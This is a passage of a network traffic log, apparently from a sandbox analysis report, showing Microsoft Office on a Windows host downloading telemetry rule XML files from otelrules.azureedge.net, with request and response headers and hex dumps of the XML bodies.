2024-10-29 03:18:18 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:17 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:18 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:18 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: c9c29ab6-a01e-0032-2092-291949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031818Z-17c5cb586f6g6g2sa7kg5c0gg000000001bg0000000010n8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:18 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:18 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:18 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:18 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 4bda3d21-a01e-0053-54ed-288603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031818Z-15b8d89586fqj7k5h9gbd8vs98000000077g000000000cka x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:18:18 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:18 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:18 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:18 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: a453eede-301e-0033-02d5-26fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031818Z-17c5cb586f67hfgj2durhqcxk800000004vg000000005dxb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:18 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:18 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:19 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:19 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 2264d41c-e01e-000c-05b3-278e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031818Z-17c5cb586f6mhqqby1dwph2kzs000000015000000000ggkt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:19 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:18 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:18 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:18 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: f782205e-901e-0048-34e1-28b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031818Z-r197bdfb6b4wmcgqdschtyp7yg00000005wg00000000a952 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:18:18 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:18 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:18 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:18 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 6afd71f5-301e-003f-7d9e-26266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031818Z-16849878b7828dsgct3vrzta7000000004cg000000008x9h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:18:18 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:19 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:19 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:19 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 622dd3a6-e01e-0003-140d-260fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031819Z-16849878b782d4lwcu6h6gmxnw00000005kg00000000fatu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:19 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:19 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:19 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:19 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 48a66efd-001e-00a2-625d-26d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031819Z-r197bdfb6b4bs5qf58wn14wgm000000004u000000000n7hs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:19 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:20 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:20 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:20 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 5278af64-001e-0034-3fad-26dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031820Z-16849878b78g2m84h2v9sta29000000004z0000000000x1n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:20 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:20 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:20 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:20 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: c9ef38c2-001e-002b-2fff-2599f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031820Z-16849878b78qfbkc5yywmsbg0c00000005qg0000000030u1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:20 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:20 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:20 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:20 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: c49cf7be-b01e-0002-3880-271b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031820Z-16849878b786fl7gm2qg4r5y70000000064g00000000na5x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
